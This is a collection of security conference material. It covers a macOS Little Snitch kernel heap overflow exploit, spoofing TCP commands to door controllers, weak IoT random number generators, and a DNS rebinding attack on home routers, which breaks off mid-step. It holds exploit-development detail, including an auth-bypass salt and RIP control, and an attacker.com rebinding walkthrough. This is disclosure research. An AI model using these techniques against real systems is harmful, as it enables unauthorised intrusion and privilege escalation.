 -OS X and iOS Kernel Programming today's focus or invoking driver methods I/O KIT //look up method, invoke super externalMethod(selector, ...) ring-0 //check params, invoke method super::externalMethod(..., dispatch, ...) } selector (method index) › dispatch = methods[selector] dispatch (method) method_0(); method_1(); method_2(); ring-3 ex; user 'client' I/O KIT mach_port_t masterPort = 0; io_service_t service = 0;
 //get master port IOMasterPort(MACH_PORT_NULL, &masterPort); //get matching service service = IOServiceGetMatchingService(masterPort, IOServiceMatching("com_osxkernel_driver_IOKitTest")); io_connect_t driverConnection = 0; //open connection IOServiceOpen(service, mach_task_self(), 0, &driverConnection); find driver open/create connection struct TimerValue { uint64_t time, uint64_t timebase; }; struct TimerValue timerValue = { .time=500, .timebase=0 }; //make request to driver
 IOConnectCallStructMethod(driverConnection, kTestUserClientDelayForTime, timerValue, sizeof(TimerValue), NULL, 0); kern_return_t IOConnectCallStructMethod( mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt ); send request IOKitLib.h IOConnectCallStructMethod function "OS X and iOS Kernel Programming" 
 (chapter 5) selector service: 'at_obdev_LSNKE' FIND/CONNECT TO LITTLE SNITCH'S KEXT char -[m097e1b4e m44e2ed6c](void * self, void * _cmd) { ... sub_10003579a(0x7789); } int sub_10003579a(int arg0) { r15 = arg0; rbx = IOMasterPort(0x0, 0x0);
 r14 = IOServiceGetMatchingService(0x0, IOServiceNameMatching("at_obdev_LSNKE")); r15 = IOServiceOpen(r14, *_mach_task_self_, r15, 0x10006ed58); mach_port_t masterPort = 0; io_service_t serviceObject = 0; io_connect_t connectPort = 0; IOMasterPort(MACH_PORT_NULL, &masterPort); serviceObject = IOServiceGetMatchingService(masterPort, IOServiceMatching("at_obdev_LSNKE")); IOServiceOpen(serviceObject, mach_task_self(), 0x7789, &connectPort); little snitch daemon (hopper decompilation) $ ./connect2LS got master port: 0xb03 got matching service (at_obdev_LSNKE): 0xf03 opened service (0x7789): 0x1003 custom 'connection' code connected! 'reachable' kernel methods ENUMERATING AVAILABLE INTERFACES class_externalMethod proc push rbp mov rbp, rsp cmp esi, 16h ja short callSuper mov eax, esi lea rax, [rax+rax*2] lea rcx, IORegistryDescriptorC3::sMethods lea rcx, [rcx+rax*8] ... callSuper: mov rax, cs:IOUserClient_vTable pop rbp jmp qword ptr [rax+860h] IOKitTestUserClient::externalMethod(uint32_t selector, IOExternalMethodArguments* arguments, IOExternalMethodDispatch* dispatch, OSObject* target, void* reference) if(selector <= 16) dispatch = (IOExternalMethodDispatch*)&sMethods[selector]; return super::externalMethod(selector, arguments, dispatch, target, reference); IORegistryDescriptorC3_sMethods IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED832h, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED846h, 0, 0, 0, 83Ch> IOExternalMethodDispatch <0FFFFFF7FA13ED89Ah, 0, 0Ch, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED8D2h, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED82Ah, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED944h, 0, 10h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED95Ah, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED97Eh, 0, 0, 1, 0> IOExternalMethodDispatch <0FFFFFF7FA13ED9CEh, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDA84h, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDAC6h, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13EDBBAh, 0, 0, 0, 10h> IOExternalMethodDispatch <0FFFFFF7FA13EDBCEh, 0, 0, 0, 80h> IOExternalMethodDispatch <0FFFFFF7FA13EDBFAh, 0, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC0Eh, 1, 0, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC22h, 0, 0Ch, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDC36h, 0, 10h, 0, 18h> IOExternalMethodDispatch <0FFFFFF7FA13EDC4Ah, 0, 0, 0, 2Ch> IOExternalMethodDispatch <0FFFFFF7FA13EDC86h, 0, 54h, 0, 0> IOExternalMethodDispatch <0FFFFFF7FA13EDCC2h, 1, 0, 0, 0> class methods ('sMethods') method #7 struct IOExternalMethodDispatch { IOExternalMethodAction function; uint32_t checkScalarInputCount; uint32_t checkStructureInputSize; uint32_t checkScalarOutputCount; uint32_t checkStructureOutputSize; }; IOExternalMethodDispatch struct pseudo code ls' externalMethod() IOUserClient.h it haz bug! SAY HELLO TO METHOD 0X7 IOExternalMethodDispatch 
 <0FFFFFF7FA13ED8FAh, 0, 20h, 0, 0> 0XFFFFFF7F86FED8FA method_0x7 proc ... mov rax, [rdi] ; this pointer, vTable mov rax, [rax+988h] ; method mov rsi, rdx jmp rax +0x0 __const:FFFFFF7FA13F5A30 vTable ... ... +0x988 __const:FFFFFF7FA13F63B8 dq offset sub_FFFFFF7FA13EABB2 sub_FFFFFF7FA13EABB2 proc mov rbx, rsi mov rdi, [rbx+30h] ; user-mode (ls) struct call sub_FFFFFF7FA13E76BC sub_FFFFFF7FA13E76BC proc near call sub_FFFFFF7FA13E76F7 sub_FFFFFF7FA13E76F7 proc near mov rbx, rdi ; user-mode struct mov rdi, [rbx+8] ; size test rdi, rdi jz short leave ; invalid size cmp qword ptr [rbx], 0 jz short leave mov rsi, cs:allocTag call _OSMalloc ; malloc ... mov rdi, [rbx] ; in buffer mov rdx, [rbx+8] ; size mov rsi, rax ; out buffer (just alloc'd) call _copyin struct lsStruct { void* buffer size_t size; ... }; sub_FFFFFF7FA13E76F7(struct lsStruct* ls) { if( (0 == ls->size) || (NULL == ls->buffer) ) goto bail; kBuffer = OSMalloc(ls->size, tag); if(NULL != kBuffer) copyin(ls->buffer, kBuffer, ls->size); method 0x7 'call thru' malloc/copy (pseudo-code) malloc/copy (IDA) 32bit size matters ;) KERNEL BUG? void* OSMalloc( uint32_t size ...); libkern/libkern/OSMalloc.h int copyin(..., vm_size_t nbytes ); osfmk/x86_64/copyio.c offset 15 ... 8 7 6 5 4 3 2 1 0 value 1 0 0 0 0 0 0 0 2 64bit 64bit value: 0x100000002 32bit value: 0x100000002 struct lsStruct ls; ls.buffer = <some user addr>; ls.size = 0x100000002; //malloc & copy kBuffer = OSMalloc(0x00000002, tag); if(NULL != kBuffer) copyin(ls->buffer, kBuffer, 0x100000002); vs. kernel/heap heap/buffer/
 [size:/2/bytes] rest/of/heap.... heap/buffer/
 [size:/2/bytes] rest/of/heap.... 0x41 0x41 0x41/0x41/0x41/0x41/ 0x41/0x41/0x41/0x41 vm_size_t is 64bits! kernel heap OWNING LITTLE SNITCH exploitation? gotta 'authenticate' ISSUE 0X1 method_0x7 proc cmp byte ptr [rdi+0E9h], 0 jz short leave ;buggy code method_0x8 proc MD5Update(var_90, r14 + 0xea, 0x10); MD5Update(var_90, 0x8E6A3FA34C4F4B23, 0x10); MD5Final(0x0FC5C35FAA776E256, var_90); do{ rdx = rcx; rcx = *(int8_t *)(rbp + rax + 0xffffffffffffff60); rcx = rcx ^ *(int8_t *)(rbx + rax); rcx = rcx & 0xff | rdx; rax = rax + 0x1; } while(rax != 0x10); if (rcx == 0x0) *(r14 + 0xe9) = 0x1; connect to Little Snitch driver ('at_obdev_LSNKE') invoke method 0x4 returns 0x10 'random' bytes hash this data, with embedded salt (\x56\xe2\x76\xa7...) invoke method 0x8 to with hash to authenticate unsigned char gSalt[] = "\x56\xe2\x76\xa7\xfa\x35\x5c\xfc \x23\x4b\x4f\x4c\xa3\x3f\x6a\x8e"; 0x0? leave :( flag -> 0x1 :) authenticated; can (now) reach buggy code! set 'auth' flag the bug isn't exploitable!? ISSUE 0X2 kBuffer = OSMalloc(0x00000002, tag); copyin(ls->buffer, kBuffer, 0x100000002); heap/buffer/
 [size:/2/bytes] rest/of/heap.... 0x41 0x41 [/untouched/] only two bytes are copied!? _bcopy(const void *, void *, vm_size_t); /* * Copyin/out from user/kernel * rdi: source address * rsi: destination address * rdx: byte count */ Entry(_bcopy) // TODO: // think about 32 bit or 64 bit byte count movl %edx,%ecx shrl $3,%ecx x86_64/locore.s submit bug report to Apple (2013) Entry(_bcopy) xchgq %rdi, %rsi movl %rdx,%rcx shrl $3,%rcx fixed! (OS X 10.11, 2015) $EDX/$ECX byte count (not $RDX/$RCX) 32bit :( mapped page unmapped page copyin(ls->buffer, kBuffer, ls->size); controlling the heap copy ISSUE 0X3 heap buffer 
 [size: 2 bytes] rest of heap.... 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 panic :( Entry(_bcopy)
 RECOVERY_SECTION RECOVER(_bcopy_fail) rep movsq movl %edx, %ecx andl $7, %ecx RECOVERY_SECTION RECOVER(_bcopy_fail) _bcopy_fail: movl $(EFAULT),%eax ret 'fault toleranance' 0x100FFC 0x101000 struct lsStruct ls; ls.buffer = 0x100FFC ls.size = 0x100000002; heap buffer 
 [size: 2 bytes] rest of heap.... ring-0 ring-3 control exact # of bytes copied into buffer ls struct 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 ? ? ? vTable hijacking ($RIP) SUCCESS! heap buffer 
 [size: 2 bytes] C++ object [0xffffff8029a27e00] 0x41 0x41 0x4141414141414141 allocation size bytes copied # of bytes copied controls: + + attacker controlled vTable pointer (lldb)/x/4xg/0xffffff8029a27e00/ 0xffffff8029a27e00:/0x4141414141414141/0x4141414141414141/ 0xffffff8029a27e10:/0x4141414141414141/0x4141414141414141/ (lldb)/reg/read/$rax/ rax/=/0x4141414141414141/ (lldb)/x/i/$rip/ ->//0xffffff8020b99fb3:/ff/50/20//callq//*0x20(%rax) control of $RIP :) reliably exploiting a macOS heap overflow WEAPONIZING "Attacking the XNU Kernel in El Capitan" -luca todesco controlling heap layout
 bypassing kALSR bypassing smap/smep payloads (!SIP, etc) "Hacking from iOS 8 to iOS 9" 
 -team pangu "Shooting the OS X El Capitan Kernel Like a Sniper" -liang chen/qidan he } get root 'bring' & load buggy kext exploit & disable SIP run unsigned kernel code, etc SIP/code-sign 'bypass' (buggy) kext still validly signed! CONCLUSIONS wrapping it up at least they fixed it... VENDOR RESPONSE :\ mov rbx, rdi ; user struct mov edi, [rbx+8] ; size call _OSMalloc mov rdi, [rbx] ; in buffer mov edx, [rbx+8] ; size mov rsi, rax ; out buffer call _copyin fixed the bug
 downplayed the bug didn't assign a CVE no credit (i'm ok with that) maybe talking about my exploit!? consistent size users won't patch free security tools & malware samples OBJECTIVE-SEE(.COM) KnockKnock BlockBlock TaskExplorer Ostiarius Hijack Scanner KextViewr RansomWhere? contact me any time :) QUESTIONS & ANSWERS patrick@synack.com @patrickwardle "Is it crazy how saying sentences backwards creates backwards sentences saying how crazy it is?" -Have_One, reddit.com final thought ;) mahalo :) CREDITS - FLATICON.COM - THEZOOOM.COM - ICONMONSTR.COM - HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ - HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/ 2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG 
 - "IOS KERNEL EXPLOITATION --- IOKIT EDITION ---" -STEFANO ESSER - "REVISITING MAC OS X KERNEL ROOTKITS!" -PEDRO VILAÇA - "FIND YOUR OWN IOS KERNEL BUG" -XU HAO/XIABO CHEN - "ATTACKING THE XNU KERNEL IN EL CAPITAN" -LUCA TODESCO - "HACKING FROM IOS 8 TO IOS 9" -TEAM PANGU - "SHOOTING THE OS X EL CAPITAN KERNEL LIKE A SNIPER" -LIANG CHEN/QIDAN HE - "OPTIMIZED FUZZING IOKIT IN IOS" -LEI LONG - "MAC OS X AND IOS INTERNALS" -JONATHAN LEVIN - "OS X AND IOS KERNEL PROGRAMMING" -OLE HALVORSEN/DOUGLAS CLARKE images resources
pdf
Picking Electronic Locks Using TCP Sequence Prediction Ricky Lawshae 2009 3/25/2009 1  OSCP, GPEN  Network Technician for Texas State University  Have been working with electronic building access systems for more years than I like to think about Who am I? 3/25/2009 2  Testing of security of building access systems always focused on ID cards and other authentication mediums  RFID  Magstripe  Biometrics  More prevalent usage of networked building access systems means more focus needs to be put on the controllers themselves  Lack of encryption  Persistent TCP sessions  Predictable sequence numbering Abstract 3/25/2009 3 Is it possible for attackers to spoof commands to these access systems without needing an authentication medium at all? The Question 3/25/2009 4  Authentication devices and locking devices both connected to control system (door controller)  Door controllers connected via TCP/IP to central database  Client programs used to make changes to database which are propagated down to door controllers  Status of locks/alarm points monitored remotely  Commands to lock and unlock(!!) doors can be sent across the network Brief Overview of Electronic Building Access 3/25/2009 5 Picking the Lock client database door controller doors 3/25/2009 6 Picking the Lock client database door controller doors attacker 3/25/2009 7  All comes down to TCP sequence prediction  Usually used to hijack TCP sessions  Guess the next sequence number, inject a packet into an existing session  Has been fixed in most modern operating systems and applications  Embedded systems are still notoriously bad Why It Works 3/25/2009 8 TCP Sequence Prediction Illustrated Sender Receiver SEQ 0 SEQ 30 SEQ 60 SEQ 90 3/25/2009 9 TCP Sequence Prediction Illustrated Sender Receiver SEQ 0 SEQ 30 SEQ 60 SEQ 60 Attacker WTF?? 3/25/2009 10 Proof of Concept? 3/25/2009 11  Breaking authentication medium not necessary to bypass networked electronic building access system  Any networked device must protect itself against networking vulnerabilities  These problems are not hard to fix!  You  Put door controllers on separate LAN  Monitor for MITM attacks  Vendor  Make sequence numbers harder to guess  ENCRYPT THE TRAFFIC Conclusion 3/25/2009 12 The End 3/25/2009 13
pdf
YOU’RE DOING IOT RNG • Random numbers are very important to security • Encryption keys • Authentication tokens • Business logic • Computers are notoriously bad at making random numbers • They inherently only do deterministic functions • Hardware RNG • Makes entropy • Solves the problem… right? RANDOM NUMBERS DOING RNG 2 Input Computer Magic Output • PRNG (Pseudo RNG) • Cryptographically Secure • “Regular” RANDOM NUMBERS DOING RNG 3 • “True” RNG (TRNG) • Terrible name • Hardware RNG • Black boxes • Very little information • Except the STM32, great info! • Two common implementations: • Analog circuit • Clock timings • Issues that come up • Running too fast • Accidental syncing HARDWARE RNG DESIGN DOING RNG 4 Analog Circuit Method Output Clock A Clock B Clock Timings Method Measured Delta Normal Distribution • Most new IoT SoCs have a hardware RNG as of 2021 • An entire hardware peripheral devoted to doing just this one thing • Surely it must be super secure • No operating systems • IoT devices run C/C++ on bare metal • Call it like this: • u8 hal_get_random_number(u32 *out_number); • Two parts we care about here: • Output variable (our random number) • Return code HOW IOT DOES RNG DOING IOT RNG 5 FREERTOS MEDIATEK 7697 NOBODY 6 CHECKS ERROR CODES (Two Examples) • What happens when the RNG call fails? WHAT’S THE WORST THAT COULD HAPPEN? PETRO’S LAW FORESHADOWING 7 Undefined Behavior • Typically one of: • Partial entropy • The number 0 WHAT’S THE WORST THAT COULD HAPPEN? FORESHADOWING 8 u8 hal_get_random_number(u32 *out_number); Call #1 Call #2 Call #3 Call #4 https://imgs.xkcd.com/comics/random_number.png IT CAN ALWAYS BE WORSE PETRO’S LAW: • Uninitialized memory WHAT’S THE WORST THAT COULD HAPPEN? IT’S WORSE 10 u32 random_number; hal_get_random_number(&random_number); // Sends over the network packet_send(random_number); Arbitrary bytes from RAM! • RSA Certificate Vulnerability Factoring RSA Keys in the IoT Era • https://www.keyfactor.com/resources/factoring-rsa-keys-in-the-iot-era/ “435,000 weak certificates – 1 in 172 of the certificate we found on the Internet – are vulnerable to attack.” • Rationale: REAL WORLD INSTANCES? THE IOT CRYPTO-POCALYPSE 11 RANDOM NUMBERS ARE CRITICAL You can’t just “handle” the error and move forward without it YOU’RE GIVEN TWO OPTIONS: Spin-loop (using 100% CPU) indefinitely Quit out and kill the entire process BOTH ARE UNACCEPTABLE Will lead to buggy, broken, and useless devices DEVELOPERS GO FOR OPTION THREE: YOLO DON’T BLAME THE USER 12 if(HAL_TRNG_STATUS_OK != hal_trng_get_generated_random_number(&random_number)) { //error handle } RNG IN IOT IS FUNDAMENTALLY BROKEN IT IS NOT THE FAULT OF THE USER BISHOPFOX PROPRIETARY | 2019 13 • Cryptographically Secure Pseudorandom Number Generator (CSPRNG) • Never blocks execution • API calls never fail • Pools from many entropy sources • Always returns crypto-quality results • This is how every major operating system works • Linux, MacOS, Windows, BSD, etc… • This is how IoT should work too THE RIGHT WAY TO RNG DOING CSPRNG 14 HW RNG Network Int Timing … Entropy Pool API Apps Entropy Sources C S P R N G WHY YOU REALLY DO NEED A CSPRNG SUBSYSTEM • Nobody codes from scratch • In IoT, there’s lots of reference and example code • When the reference code has vulnerabilities it propagates out • Some IoT devices / Operating Systems use the hardware • But only to seed the insecure libc PRNG USING HARDWARE RNG TO SEED AN INSECURE PRNG DOING IOT RNG WITHOUT KNOWING IT 16 Contiki-NG: The OS for Next Generation IoT Devices https://github.com/MediaTek-Labs/Arduino-Add-On-for-LinkIt- SDK/blob/53acd43fbee57b034141068969fa643465dfd743/project/linkit7697_hdk/apps/wifi_demo/src/sys_init.c#L198 Mediatek Linkit7697 https://contiki-ng.readthedocs.io/en/release-v4.6/_api/arch_2cpu_2nrf52840_2dev_2random_8c_source.html • You’re not really using the hardware • Even though you think you are USING HARDWARE RNG TO SEED AN INSECURE PRNG DOING IOT RNG WITHOUT KNOWING IT 17 Contiki-NG: The OS for Next Generation IoT Devices https://github.com/MediaTek-Labs/Arduino-Add-On-for-LinkIt- SDK/blob/53acd43fbee57b034141068969fa643465dfd743/project/linkit7697_hdk/apps/wifi_demo/src/sys_init.c#L198 Mediatek Linkit7697 https://contiki-ng.readthedocs.io/en/release-v4.6/_api/arch_2cpu_2nrf52840_2dev_2random_8c_source.html HW RNG Seed libc rand() Apps DEMO • Often very context-dependent • Not a simple CVE with exploit to apply • But still very exploitable • Just not canned • Look at crypto keys, especially asymmetric keys • Very long (2048 bits or more) • Sensitive to low entropy • Check out “The Mechanics of Compromising Low Entropy RSA Keys” • At this DEF CON • (we did not plan this) EXPLOITABILITY SORRY, BUG BOUNTY HUNTERS 19 • Never write your own code that interfaces with a hardware RNG • It’s no different than crypto code • You WILL do it wrong • Example: LPC 54628 • Warning on page 1,106 (of 1,152) • Throw out 32 results, then use again USAGE QUIRKS EVEN WHEN IOT RNG FEELS RIGHT, YOU’RE STILL DOING IOT RNG 20 • Mediatek 7697 STATISTICAL ANALYSIS THAT'S NOT SO RANDOM 21 Histogram of the frequency of each byte 0 to 255 That’s not very random… • Nordic nrf52840 STATISTICAL ANALYSIS NULL HYPOTHESIS 22 Repeating 0x000 pattern Every 0x50 bytes • STM32-L432KC STATISTICAL ANALYSIS GB OF CONFIDENCE 23 #=============================================================================# # dieharder version 3.31.1 Copyright 2003 Robert G. Brown # #=============================================================================# rng_name|filename rands/second|file_input_raw|STM32L432randData.bin|1.72e+07 | #=============================================================================# test_name |ntup| tsamples |psamples| p-value |Assessment #=============================================================================# rgb_minimum_distance| 0| 10000| 1000|0.00000000| FAILED CONCLUSIONS This affects the whole IoT industry • Not a single vendor or device The IoT needs a CSPRNG subsystem • This can’t be fixed by changing documentation and blaming users RNG code should be considered dangerous to write on your own • Just like crypto code Never use entropy directly from the hardware • You don’t know how strong or weak it may be CONCLUSIONS YOU’RE DOING IOT RNG 25 Device Owners • Keep an eye out for updates IoT Device Developers • Use one of the emerging IoT Operating Systems IoT Device Manufacturers / IoT OS Developers • Implement CSPRNG subsystems, deprecate / disallow users from reading directly from the hardware Pen Testers • This will probably be a perennial finding for years to come CONCLUSIONS WHAT YOU CAN DO ABOUT IT 26 THANK YOU • Dan “AltF4” Petro • Allan Cecil (dwangoAC)
pdf
Remote Attacks Against SOHO Routers 08 February, 2010 Craig Heffner Abstract This paper will describe how many consumer (SOHO) routers can be exploited via DNS re-binding to gain interactive access to the router's internal-facing Web based administrative interface. Unlike other DNS re-binding techniques, this attack does not require prior knowledge of the target router or the router's configuration settings such as make, model, IP address, host name, etc, and does not use any anti-DNS pinning techniques. Confirmed affected routers include those manufactured by Linksys, Belkin, ActionTec, Thompson, Asus and Dell, as well as those running third-party firmware such as OpenWRT, DD-WRT and PFSense. Existing Attacks and Their Limitations Many SOHO routers contain vulnerabilities that can allow an attacker to disrupt or intercept network traffic. These vulnerabilities include authentication bypass, cross-site scripting, information disclosure, denial of service, and perhaps the most pervasive vulnerability of them all, default logins [1, 2, 3]. However, these vulnerabilities all share one common trait: with very few exceptions they exist solely on the internal LAN, thus requiring an attacker to gain access to the LAN prior to exploiting a router's vulnerabilities. There are various existing attacks which may be employed by an external attacker to target a router's internal Web interface. These attacks are best delivered via an internal client's Web browser when that client browses to a Web page controlled by the attacker. Cross-Site Request Forgery (CSRF) is perhaps the easiest of these attacks and is well suited for exploiting authentication bypass vulnerabilities. However, it is restricted in several ways: 1. While it can be used to generate requests, it cannot be used to view the response. This is due to the browser's same-domain policy, and eliminates the possibility of using CSRF to exploit certain vulnerabilities, such as information disclosure vulnerabilities [4]. 2. It cannot be used to exploit default logins on routers that employ Basic HTTP authentication. While this used to be possible by specifying a specially crafted URL (such as http://user:password@192.168.1.1), modern versions of Firefox will display a pop-up warning to the end user, and Internet Explorer no longer recognizes such URLs as valid (see Appendix A). 3. It requires the attacker to pre-craft his attack to target specific routers. The attacker's exploit Web page must know or guess the router's internal IP or host name, as well as the router's make and/or model. Although there have been some efforts to produce JavaScript-based router identification code, it is experimental and generally does not work against routers that employ Basic HTTP authentication for reasons described in #2 above [5]. Due to the limitations of CSRF, DNS re-binding attacks are very attractive to a remote attacker, as they provide a means to circumvent the browser's same-domain policy and allow the attacker's code (typically JavaScript) to interact with the router's internal Web interface [6]. The object of a DNS re-binding attack is to get a user to load JavaScript from an attacker’s Web page and then re-bind the attacker’s domain name to the IP address of the user’s router. The attacker's JavaScript code can then make interactive XMLHttpRequests to the router by opening a connection to the attacker's domain name since that domain now resolves to the IP address of the victim's router. This connection is allowed by the browser's same-domain policy since the JavaScript is running in a Web page that originated from the attacker's domain. However, DNS re-binding attacks are well known and Web browsers have implemented various protections to help mitigate the threat of a DNS re-binding attack. Most notably, DNS pinning is implemented in all modern browsers. DNS pinning attempts to prevent DNS re-binding attacks by caching the first DNS lookup that the browser performs; without a second DNS lookup, the same IP address will always be used for a given domain name until the browser’s cache expires or the user exits the browser. For this reason anti-DNS pinning attacks have become increasingly popular. These attacks attempt to circumvent browser DNS caching and force the browser to perform a second DNS lookup, at which time the attacker's domain name gets re-bound to an IP address of the attacker's choosing. While DNS-rebinding attacks are possible, they have the noted disadvantage of time: such attacks take 15 seconds in Internet Explorer, and 120 seconds in Firefox [7]. Further, IE8 and Firefox 3.x browsers no longer appear to be vulnerable to these types of DNS re-binding attacks (see Appendix B). The Multiple A Record Attack An older method of DNS re-binding is the “multiple A record” attack as discussed in Stanford's Protecting Browsers From DNS Rebinding Attacks paper [8]. This attack is better known to DNS administrators as DNS load balancing. In this scenario, an attacker's DNS response contains two IP addresses: the IP address of the attacker's server followed by the IP address that the attacker wishes to re-bind his domain name to. The client's Web browser will attempt to connect to the IP addresses in the order in which they appear in the DNS response: 1. The client's browser connects to the first IP address in the DNS response, which is the IP address of the attacker's Web server, and retrieves the HTML file containing the attacker's JavaScript. 2. After the client request is completed, the attacker's Web server then creates a new firewall rule to block further connections from that client's IP address. 3. When the attacker's JavaScript initiates a request back to the attacker's domain via an XMLHttpRequest, the browser will again try to connect to the attacker's Web server. However, since the client's IP is now blocked, the browser will receive a TCP reset packet from the attacker's Web server. 4. The browser will automatically attempt to use the second IP address listed in the DNS response, which is the IP address of the client’s router. The attacker's JavaScript can now send requests to the router as well as view the responses. One notable restriction to the multiple A-record attack is that it can not be used to target internal IP addresses, such as the internal IP address of a router. If a DNS response contains any non-routable IP addresses, the browser will attempt to connect to those addresses first, regardless of their order in the DNS response. This obviously breaks the exploit, as the attacker needs the client's browser to connect to his public Web server first and retrieve his malicious JavaScript. DNS Rebinding and the Weak End System Model But what happens if an attacker uses the multiple A-record attack to re-bind his domain to the router's public (WAN) IP address? While it may not be the intended or expected behavior, this attack will in fact succeed if the router’s TCP/IP stack implements the weak end system model [9]. While the weak end system model is certainly not unique to Linux, Linux is perhaps the most popular embedded OS that supports it, and thus it is provided as an example here. In the weak end system model, the TCP/IP stack will accept and process an incoming packet as long as the destination IP matches any of its local IP addresses. The IP address does not need to match the IP address of the interface on which the packet was received [10]. For example, consider a router with two interfaces, eth0 and eth1, where eth0 is assigned the class C IP address of 192.168.88.5 and eth1 is assigned the class C IP address of 192.168.1.100. These are clearly two separate IP address ranges on two physically distinct network interfaces: root@router:~# route -n Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 192.168.88.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 Now let us also assume that the router has a listening service running on port 8080 and bound exclusively to the eth1 interface (192.168.1.100): root@router:~# netstat -plnt Proto Local Address Foreign Address State PID/Program name tcp 192.168.1.100:8080 0.0.0.0:* LISTEN 22393/nc Notice what happens when a host on the eth0 network attempts to connect to the router’s eth1 IP address of 192.168.1.100: The connection succeeds, even though the IP address of the eth0 interface does not match the destination IP address in the client’s packets. At first glance this is not particularly interesting; after all, a router is supposed to route requests. Upon closer examination of the above Wireshark captures however, one will note that the request is not being routed at all, as evidenced by the lack of any traffic on the eth1 interface. Due to the weak end system model, the request is being accepted and processed entirely on the eth0 interface, as if the listening service were being run on the eth0 interface when in fact it is not. The router sees that the destination address matches one of its local addresses and simply accepts the connection. To understand how this can be exploited by an attacker, consider that most routers are quite simple in nature, and they often run their services on all interfaces rather than on just one particular interface: root@OpenWrt:/# netstat -l Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 *:80 *:* LISTEN tcp 0 0 *:53 *:* LISTEN tcp 0 0 *:22 *:* LISTEN tcp 0 0 *:23 *:* LISTEN Since these services are bound to all interfaces, iptables rules are applied to prevent inbound connections on the WAN interface. Below are the simplified iptables rules relevant to this discussion: -A INPUT –i eth1 –j DROP -A INPUT –j ACCEPT Any incoming traffic on the WAN interface (eth1) is dropped, while inbound traffic on the LAN interface(s) is allowed. Note that these rules are applied based on the inbound interface name, and do not specify the destination IP address. This is because the WAN IP is likely assigned via DHCP from an ISP and is subject to change at any time. However, as evidenced in the above Wireshark captures, when an internal user on eth0 connects to the external IP address on eth1 the network traffic never actually traverses the TCP/IP stack of the eth1 interface. The iptables rules put in place to block incoming traffic to a router’s WAN interface (eth1) will not prevent internal clients from connecting to services on the WAN interface because the traffic will never actually traverse the WAN interface. Armed with this information, an attacker can use the multiple A-record attack to re-bind his domain name to the router’s public IP and access the router’s Web interface via an internal client’s Web browser. Not only does this make the multiple A-record attack a viable DNS re-binding vector, but it also eliminates the need for the attacker to know or guess the target router’s internal IP address. A Practical Example In order to provide a practical demonstration of this attack, Rebind was created. Rebind is a tool that not only implements the DNS re-binding attack, but uses it to turn the client's Web browser into a real- time proxy through which the attacker can interact with the client's router as if the attacker were on the LAN himself. This is similar in concept to David Bryne's anti-DNS pinning presentation at BlackHat 2007 and eliminates the requirement for the attacker's JavaScript code to perform any interpretation or analysis of the client's router; it simply acts as a proxy between the attacker and the client's router [11]. Rebind integrates a DNS server, two Web servers and an HTTP proxy server into a single Linux binary. The only prerequisites for running Rebind are that: 1) The attacker must register a domain name 2) The attacker must register his attack box as a name server for his domain Both of these requirements can be fulfilled through almost any domain registrar [12]. In the following example scenario, the attacker's domain is attacker.com, and he has registered a DNS server named ns1.attacker.com. The ns1.attackercom entry points to the IP address of his attack box. The following depicts how Rebind works: 1. Example scenario. The attacker owns the domain name attacker.com and is running Rebind on his server located at 1.4.1.4. The victim’s public IP is 2.3.5.8: 2. The attacker goes to the registrar where he registered his domain name and registers 1.4.1.4 as a name server named ns1.attacker.com: 3. The attacker tells his registrar to use ns1.attacker.com as the primary DNS server for the attacker.com domain: 4. The victim attempts to browse to http://attacker.com/init, and subsequently the victim’s browser issues a DNS lookup for attacker.com: 5. Rebind receives the DNS request and responds with its own IP address: 6. The victim’s Web browser requests the /init page from attacker.com: 7. Rebind receives the HTTP request, logs the router’s public IP and redirects the victim's Web browser to a random sub-domain of devttys0.com; in this case, wacme.www.devttys0.com/exec: 8. This forces the victim's Web browser to perform a second DNS lookup for wacme.attacker.com: 9. Rebind receives the DNS request and responds with its own IP address, followed by the public IP address of the victim’s router which it logged in step #7: 10. The victim's Web browser requests the /exec page from wacme.attacker.com: 11. Rebind sends the client its JavaScript code and blocks further connection attempts from the victim to port 80 of the attack box: 12. The JavaScript code attempts an XMLHttpRequest to wacme.attacker.com: 13. Since Rebind has blocked the victim on port 80, the connection attempt is refused with a TCP reset packet: 14. The victim's browser automatically attempts to connect to the second IP address for wacme.attacker.com, which is the public IP address of the victim's router: 15. With the sub-domain of wacme.attacker.com now re-bound to the router's public IP address, the external attacker can send requests to the client's router via Rebind's HTTP proxy. Rebind queues these requests into a database and holds the connection to the attacker's Web browser open: 16. The JavaScript code begins loading dynamic JavaScript elements from Rebind. Since wacme.attacker.com is re-bound to the router’s public IP, the JavaScript elements are loaded from attacker.com. Port 81 is used since the victim is still blocked on port 80: 17. Rebind responds to the JavaScript callback requests with the HTTP request that the attacker made via Rebind's proxy: 18. The JavaScript then issues an XMLHttpRequest to wacme.attacker.com to retrieve the requested page from the client's router: 19. The response headers and text received from the router are then sent back to Rebind. If the browser supports cross-domain requests, they are used; if not, then an IFrame transport is used instead [13]: 20. When 